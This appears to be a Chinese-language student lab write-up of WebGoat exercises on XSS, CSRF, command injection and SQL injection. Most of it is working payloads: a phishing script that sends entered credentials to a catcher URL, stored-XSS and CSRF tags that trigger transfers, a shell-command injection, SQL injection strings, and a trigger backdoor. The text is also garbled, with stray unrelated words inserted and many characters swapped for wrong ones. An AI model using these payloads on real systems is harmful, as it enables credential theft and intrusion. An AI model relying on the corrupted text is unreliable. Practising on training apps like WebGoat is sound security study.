对于用户修改删除等操做使用 post 操做前端
此次实验作的可能是关于Web安全的练习,练习内容比较丰富,主要是SQL注入、CSRF攻击、XSS攻击三个部分的内容。经过学习实践对web开发常见的安全问题有了必定的了解。java
java -jar webgoat-container-7.0.1-war-exec.jar
开启WebGoat。在浏览器地址栏输入localhost:8080/WebGoat
打开WebGoat,选择默认帐号、密码登录。
web
编写一个包含用户名、密码的前端代码:sql
<head> <body> <div> <div style="float:left;height:100px;width:50%;background-color:green;"></div> <div style="float:left;height:100px;width:50%;background-color:red;"></div> </div> <div style="background-color:blue;height:200px;clear:both;"></div> </div></div> </form> <script> function hack(){ XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("attack.!!!!!! Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); } </script> <form name="phish"> <br> <br> <HR> <H2>This feature requires account login:</H2> <br> <br>Enter Username:<br> <input type="text" name="user"> <br>Enter Password:<br> <input type="password" name = "pass"> <br> <input type="submit" name="login" value="login" onclick="hack()"> </form> <br> <br> <HR> </body> </head>
Cross-Site Scripting(XSS)
,打开Phishing with XSS
search
出现登陆框:点击登陆后跳出包含用户名和密码的弹框:
数据库
Stored XSS Attacks
,在Message
框中输入<script>alert("I am 20155330");</script>
提交点击提交后弹出显示I am 20155330
的对话框。攻击成功!
浏览器
<script>alert("I am 20155330");</script>
点击Purchase
出现显示I am 20155330
的对话框。攻击成功!
安全
Parameters
中的src
和menu
的值。<img src='attack?Screen=src值&menu=menu值&transferFunds=转帐数额' width='1' height='1'>
点击连接查看用户操做的信息,攻击成功。
服务器
Parameters
中的src
和menu
的值。在Title中输入学号,Message中输入代码:<iframe src="attack?Screen=src值&menu=menu值&transferFunds=转帐数额"> </iframe> <iframe src="attack?Screen=src值&menu=menu值&transferFunds=CONFIRM"> </iframe>
点击连接查看用户操做的信息,攻击成功。
网络
BackDoors.help
旁边加上"& netstat -an & ipconfig"
:选中修改后的值再点view,能够看到命令被执行,出现系统网络链接状况
xss
101
旁边加上or 1=1
:选中Columbia,点Go,能够看到全部天气数据:
在User Name
文本框中输入zy%0d%0aLogin Succeeded for username: admin
(%0d
是回车,%0a
是换行符),点击登陆,攻击成功。
在文本框中输入' or 1='1
。点Go
,全部用户信息被显示,攻击成功。
' or 1='1
进行SQL注入,注入前需对密码文本框的字符长度进行修改。登陆成功。
Stage1
中的登陆方法以用户名Larry登陆,登陆以后看到浏览员工信息的按钮是ViewProfile
。利用Firebug将ViewProfile
的value
值改成101 or 1=1 order by salary desc --
。查看到老板信息。
101; update employee set salary=10000
,把该用户的工资涨到10000:使用语句101;CREATE TRIGGER lxmBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='20155330@163.com' WHERE userid = NEW.userid
建立一个后门,把表中全部的邮箱和用户ID都设为
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 );
查看pin数值是否大于10000通过不断尝试,慢慢缩小范围,最终能够肯定pin的值在2300到2400之间。而后再尝试2300到2350或2350到2400,最后肯定pin值为2364。